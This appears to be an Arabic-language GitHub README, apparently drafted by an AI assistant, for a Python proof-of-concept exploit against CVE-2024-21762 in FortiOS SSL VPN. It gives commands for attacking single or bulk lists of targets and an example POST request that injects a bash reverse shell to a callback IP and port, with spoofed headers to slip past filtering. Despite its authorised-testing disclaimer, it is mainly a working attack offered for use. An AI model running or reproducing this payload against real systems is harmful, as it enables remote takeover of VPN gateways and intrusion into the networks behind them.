
ماسح ضوئي لإثبات المفهوم يستهدف CVE-2024-21762 في نقطة نهاية /remote/hostcheck_validate الخاصة بـ FortiOS SSL VPN، مع تسليم حمولة صدفة عكسية.
ماسح ضوئي لإثبات المفهوم (PoC) يستهدف CVE-2024-21762 في نقطة نهاية /remote/hostcheck_validate الخاصة بـ FortiOS SSL VPN مع تسليم حمولة قشرة عكسية (reverse shell).
إليك وصف GitHub لمشروعك، بما في ذلك ملخص نظيف وموجز، ودليل استخدام، وسياق حول كيفية توافقه مع الثغرة الأمنية.
CVE-2024-21762 FortiOS HostCheck PoC Scannerماسح ضوئي لإثبات المفهوم يستهدف CVE-2024-21762 في نقطة نهاية
/remote/hostcheck_validateالخاصة بـ FortiOS SSL VPN مع تسليم حمولة قشرة عكسية (reverse shell).
هذا السكربت بلغة Python هو أداة إثبات مفهوم (PoC) مصممة للتفاعل مع واجهة FortiOS SSL VPN من Fortinet، مستهدفةً CVE-2024-21762 — وهي ثغرة تجاوز سعة المخزن المؤقت (stack-based buffer overflow) أو حقن أوامر في نقطة النهاية /remote/hostcheck_validate.
إخلاء مسؤولية: هذا مخصص لأغراض التعليم والاختبار المصرح به فقط.
/remote/hostcheck_validate على واجهة FortiGate SSL VPN.host).User-Agent, Cookie) لتجاوز التصفية السطحية لطلبات FortiOS.last_response.txt)tqdm لعرض التقدمتثبيت التبعيات:
pip install tqdm
python3 exploit.py --target 192.168.1.1:443 --callback-ip YOUR_IP --callback-port 8080
python3 exploit.py --input targets.txt --output results.txt --callback-ip YOUR_IP --callback-port 8080
targets.txt: قائمة بالأهداف بصيغة IP:PORT، هدف واحد في كل سطرresults.txt: سجل إخراج لمحاولات الاستغلالPOST /remote/hostcheck_validate HTTP/1.1
Host: [target]
User-Agent: FortiSSLVPNClient/6.4.0
Cookie: SVPNCOOKIE=AAAA
Content-Type: application/x-www-form-urlencoded
host=bash -c 'bash -i >& /dev/tcp/[callback-ip]/[callback-port] 0>&1'&...
تكتب الأداة الاستجابة الكاملة لكل محاولة إلى:
last_response.txt
استخدم هذا للتحقق مما إذا كان الطلب قد تم تحليله أو رفضه أو إذا تم إرجاع رمز خطأ.
هذا الكود مُقدَّم لأغراض التعليم والاختبار المصرح به فقط. لا تستخدمه على شبكات أو أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
Carter — مهندس أمن سيبراني، متحمس لفِرق Red/Purple، ومهووس بأتمتة إثباتات المفهوم.
هل تريد أن يتم تجهيز هذا كملف README.md + هيكل مستودع جاهز للرفع إلى GitHub؟ يمكنني توليد ذلك بعد ذلك.